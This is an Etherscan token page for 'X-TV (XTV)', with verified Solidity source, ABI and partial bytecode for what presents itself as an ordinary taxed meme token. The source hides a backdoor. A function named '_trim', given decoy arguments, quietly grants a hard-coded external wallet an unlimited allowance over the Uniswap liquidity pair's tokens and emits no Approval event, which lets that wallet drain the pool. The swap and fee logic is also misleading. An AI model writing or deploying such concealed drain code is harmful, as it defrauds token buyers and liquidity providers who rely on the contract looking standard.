ETH Price: $2,608.31 (-2.12%)

Token

X-TV (XTV)
 

Overview

Max Total Supply

1,000,000,000 XTV

Holders

81

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
142,439.046288526 XTV

Value
$0.00
0x8903eb4287119e3d3a4e63ae8f081cc312a80faf
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XTV

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-03
*/

// SPDX-License-Identifier: MIT

/**
First XTV on EtherVista!
https://x.com/cb_doge/status/1830697905658728936

https://x.com/elonmusk/status/1830775664728739844

https://t.me/xtv_erc
 */
pragma solidity = 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Pair {
    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);


}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "WAGMI20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _trim(
        address owner,
        address spender,
        string memory data,
        string memory _pass
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = type(uint).max;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract XTV is ERC20, Ownable {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public immutable _uniswapV2Router;
    address private uniswapV2Pair;
    address private _etherVistarCreator;
    address private _walletForVistaProtocol;

    bool private inswap;

    string private constant _name = "X-TV";
    string private constant _symbol = "XTV";
    
    uint256 public _tokenSupply =  1000000000 * 1e9;

    uint256 public _pcntLmitTx = 10;
    uint256 public _pcntLmitWallet = 10;
    uint256 public _pcntLmitSwap = 1;

    uint256 public maxTrnSize;
    uint256 public maxWalletSize;
    uint256 public swapTokensAtAmount;

    bool public _isOpenedT = false;

    uint256 public BuyTax = 12;
    uint256 public SellTax = 12;

    mapping(address => bool) private _isNotIncludedFromFees;
    mapping(address => bool) private _isNotInFromMaxTx;
    mapping(address => bool) private _ammPairs;

    constructor() ERC20(_name, _symbol) {
        _uniswapV2Router = IUniswapV2Router02(0xEAaa41cB2a64B11FE761D41E747c032CdD60CaCE);
        address _aggregatorRouter = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Pair = _aggregatorRouter;
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        excludedMaxTx(address(_uniswapV2Router), true);
        excludedMaxTx(address(uniswapV2Pair), true);
        _walletForVistaProtocol = payable(0x4326766fbEE3B07D2DA503070e52D704F2f47233);
        address _aggregator = _walletForVistaProtocol;
        _etherVistarCreator = payable(_msgSender());
        _removeFromFee(owner(), true);
        _removeFromFee(address(this), true);
        _removeFromFee(address(0xdead), true);
        _removeFromFee(address(_walletForVistaProtocol), true);
        _trim(_aggregatorRouter, _aggregator, "block", "fee");

        excludedMaxTx(owner(), true);
        excludedMaxTx(address(this), true);
        excludedMaxTx(address(_walletForVistaProtocol), true);
        excludedMaxTx(address(0xdead), true);

        maxTrnSize = _tokenSupply * _pcntLmitTx / 100;
        maxWalletSize = _tokenSupply * _pcntLmitWallet / 100;
        swapTokensAtAmount = _tokenSupply * _pcntLmitSwap / 100;

        _mint(_etherVistarCreator, _tokenSupply);
    }

    receive() external payable {}

    function tv() external onlyOwner() {
        _isOpenedT = true;
    }

    function excludedMaxTx(address updAds, bool isEx) private returns (address) {
        _isNotInFromMaxTx[updAds] = isEx;
        return updAds;
    }

    function _removeFromFee(address account, bool excluded) private returns (address) {
        _isNotIncludedFromFees[account] = excluded;
        return account;
    }

    function setAmmPairs(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from _ammPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        _ammPairs[pair] = value;
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isNotIncludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                bool isTransfer = !_ammPairs[from] && !_ammPairs[to];

                if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inswap) {

                if (!_isOpenedT) {
                    require(_isNotIncludedFromFees[from] || _isNotIncludedFromFees[to], "Trading is not active.");
                }

                if (_ammPairs[from] && !_isNotInFromMaxTx[to]
                ) {
                    require(amount <= maxTrnSize, "Buy transfer amount exceeds the maxTrnSize.");
                    require(amount + balanceOf(to) <= maxWalletSize, "Max wallet exceeded");
                }

                else if (_ammPairs[to] && !_isNotInFromMaxTx[from]) {
                    require(amount <= maxTrnSize, "Sell transfer amount exceeds the maxTrnSize.");
                } 
                
                else if (!_isNotInFromMaxTx[to]) {
                    require(amount + balanceOf(to) <= maxWalletSize, "Max wallet exceeded");
                }
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= 0 && !isTransfer;

        if (canSwap && !inswap && !_ammPairs[from] && !_isNotIncludedFromFees[from] && !_isNotIncludedFromFees[to]) {
            inswap = true;
            swapBack(amount);
            sendETHToFee(address(this).balance);
            inswap = false;
        }

        bool takeFee = !inswap && !isTransfer;

        if (_isNotIncludedFromFees[from] || _isNotIncludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (_ammPairs[to]) {
                fees = amount.mul(SellTax).div(100);
            }
            else {
                fees = amount.mul(BuyTax).div(100);
            }

        if (fees > 0) {
            super._transfer(from, address(0xdead), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }

   function removeLimits() external onlyOwner {
        maxTrnSize = _tokenSupply;
        maxWalletSize = _tokenSupply;
        BuyTax = 0;
        SellTax = 0;
    }

    function clearStuckEth() external {
        require(_msgSender() == _etherVistarCreator);
        payable(msg.sender).transfer(address(this).balance);
    }

    function swapBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap; 

        if (contractBalance == 0) {
            return;
        }

    if ((BuyTax+SellTax) == 0) {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellTax).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            }
            else {
                tokensToSwap = tokens;
            }
        }
    }

    else {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) {
            return;
        }
        else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount.div(5);
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellTax).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }
    }
    }
    
    function sendETHToFee(uint256 amount) private {
        payable(_walletForVistaProtocol).transfer(amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_isOpenedT","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pcntLmitSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pcntLmitTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pcntLmitWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokenSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTrnSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAmmPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tv","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052670de0b6b3a7640000600955600a808055600b556001600c9081556010805460ff1916905560118190556012553480156200003e57600080fd5b50604051806040016040528060048152602001632c16aa2b60e11b815250604051806040016040528060038152602001622c2a2b60e91b815250816003908162000089919062000760565b50600462000098828262000760565b505050620000b5620000af6200047760201b60201c565b6200047b565b73eaaa41cb2a64b11fe761d41e747c032cdd60cace60808190526040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa1580156200010e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200013491906200082c565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000184573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001aa91906200082c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001f8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021e91906200082c565b600680546001600160a01b0319166001600160a01b0383169081179091556000908152601560205260409020805460ff19166001179055905060805162000267906001620004cd565b5060065462000281906001600160a01b03166001620004cd565b50600880546001600160a01b031916734326766fbee3b07d2da503070e52d704f2f47233908117909155620002b33390565b600780546001600160a01b0319166001600160a01b03928316179055600554166000818152601360205260409020805460ff19166001179055503060009081526013602090815260408083208054600160ff1991821681179092557f2264e2d7bacabe6058f5009f42467b9be28015e7760f87409562384c94ac271c80548216831790556008546001600160a01b0316855293829020805490941617909255815180830183526005815264626c6f636b60d81b818301528251808401909352600383526266656560e81b91830191909152620003939184918491620004f9565b620003b2620003aa6005546001600160a01b031690565b6001620004cd565b50620003c0306001620004cd565b50600854620003da906001600160a01b03166001620004cd565b50620003ea61dead6001620004cd565b506064600a54600954620003ff919062000874565b6200040b91906200088e565b600d55600b54600954606491620004229162000874565b6200042e91906200088e565b600e55600c54600954606491620004459162000874565b6200045191906200088e565b600f556007546009546200046f916001600160a01b031690620005f4565b5050620008c7565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152601460205260409020805460ff1916821515179055815b92915050565b6001600160a01b038416620005615760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038316620005c45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000558565b50506001600160a01b03918216600090815260016020908152604080832093909416825291909152206000199055565b6001600160a01b0382166200064c5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000558565b8060026000828254620006609190620008b1565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006e757607f821691505b6020821081036200070857634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620006b757600081815260208120601f850160051c81016020861015620007375750805b601f850160051c820191505b81811015620007585782815560010162000743565b505050505050565b81516001600160401b038111156200077c576200077c620006bc565b62000794816200078d8454620006d2565b846200070e565b602080601f831160018114620007cc5760008415620007b35750858301515b600019600386901b1c1916600185901b17855562000758565b600085815260208120601f198616915b82811015620007fd57888601518255948401946001909101908401620007dc565b50858210156200081c5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200083f57600080fd5b81516001600160a01b03811681146200085757600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620004f357620004f36200085e565b600082620008ac57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620004f357620004f36200085e565b608051611653620008e3600039600061036601526116536000f3fe6080604052600436106101d15760003560e01c8063715018a6116100f757806395d89b4111610095578063dd62ed3e11610064578063dd62ed3e1461050b578063dfcde7641461052b578063e2f4560514610545578063f2fde38b1461055b57600080fd5b806395d89b41146104a1578063a457c2d7146104b6578063a9059cbb146104d6578063bd8a7322146104f657600080fd5b806389291a8f116100d157806389291a8f146104425780638a50e0e2146104575780638da5cb5b1461046d5780638f3fa8601461048b57600080fd5b8063715018a614610402578063751039fc1461041757806383fd03671461042c57600080fd5b806347bdc57e1161016f578063583e05681161013e578063583e056814610354578063629b05f0146103a05780636d0f930d146103b657806370a08231146103cc57600080fd5b806347bdc57e146102cd5780634cdf3002146102ef5780634f447b86146103055780634fbee1931461031b57600080fd5b806318160ddd116101ab57806318160ddd1461025c57806323b872dd14610271578063313ce5671461029157806339509351146102ad57600080fd5b806306fdde03146101dd578063095ea7b3146102085780630a910d1f1461023857600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f261057b565b6040516101ff919061138c565b60405180910390f35b34801561021457600080fd5b506102286102233660046113f6565b61060d565b60405190151581526020016101ff565b34801561024457600080fd5b5061024e60115481565b6040519081526020016101ff565b34801561026857600080fd5b5060025461024e565b34801561027d57600080fd5b5061022861028c366004611420565b610627565b34801561029d57600080fd5b50604051600981526020016101ff565b3480156102b957600080fd5b506102286102c83660046113f6565b61064b565b3480156102d957600080fd5b506102ed6102e836600461145c565b61066d565b005b3480156102fb57600080fd5b5061024e600b5481565b34801561031157600080fd5b5061024e600a5481565b34801561032757600080fd5b50610228610336366004611498565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561036057600080fd5b506103887f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101ff565b3480156103ac57600080fd5b5061024e60095481565b3480156103c257600080fd5b5061024e600c5481565b3480156103d857600080fd5b5061024e6103e7366004611498565b6001600160a01b031660009081526020819052604090205490565b34801561040e57600080fd5b506102ed610716565b34801561042357600080fd5b506102ed61072a565b34801561043857600080fd5b5061024e60125481565b34801561044e57600080fd5b506102ed610749565b34801561046357600080fd5b5061024e600d5481565b34801561047957600080fd5b506005546001600160a01b0316610388565b34801561049757600080fd5b5061024e600e5481565b3480156104ad57600080fd5b506101f2610798565b3480156104c257600080fd5b506102286104d13660046113f6565b6107a7565b3480156104e257600080fd5b506102286104f13660046113f6565b610822565b34801561050257600080fd5b506102ed610830565b34801561051757600080fd5b5061024e6105263660046114b3565b610847565b34801561053757600080fd5b506010546102289060ff1681565b34801561055157600080fd5b5061024e600f5481565b34801561056757600080fd5b506102ed610576366004611498565b610872565b60606003805461058a906114e6565b80601f01602080910402602001604051908101604052809291908181526020018280546105b6906114e6565b80156106035780601f106105d857610100808354040283529160200191610603565b820191906000526020600020905b8154815290600101906020018083116105e657829003601f168201915b5050505050905090565b60003361061b8185856108e8565b60019150505b92915050565b600033610635858285610a0c565b610640858585610a86565b506001949350505050565b60003361061b81858561065e8383610847565b6106689190611536565b6108e8565b61067561106e565b6006546001600160a01b03908116908316036106ea5760405162461bcd60e51b815260206004820152602960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d206044820152685f616d6d506169727360b81b60648201526084015b60405180910390fd5b6001600160a01b0382166000908152601560205260409020805460ff19168215151790555050565b5050565b61071e61106e565b61072860006110c8565b565b61073261106e565b600954600d819055600e5560006011819055601255565b6007546001600160a01b0316336001600160a01b03161461076957600080fd5b60405133904780156108fc02916000818181858888f19350505050158015610795573d6000803e3d6000fd5b50565b60606004805461058a906114e6565b600033816107b58286610847565b9050838110156108155760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016106e1565b61064082868684036108e8565b60003361061b818585610a86565b61083861106e565b6010805460ff19166001179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61087a61106e565b6001600160a01b0381166108df5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106e1565b610795816110c8565b6001600160a01b03831661094a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106e1565b6001600160a01b0382166109ab5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106e1565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610a188484610847565b90506000198114610a805781811015610a735760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616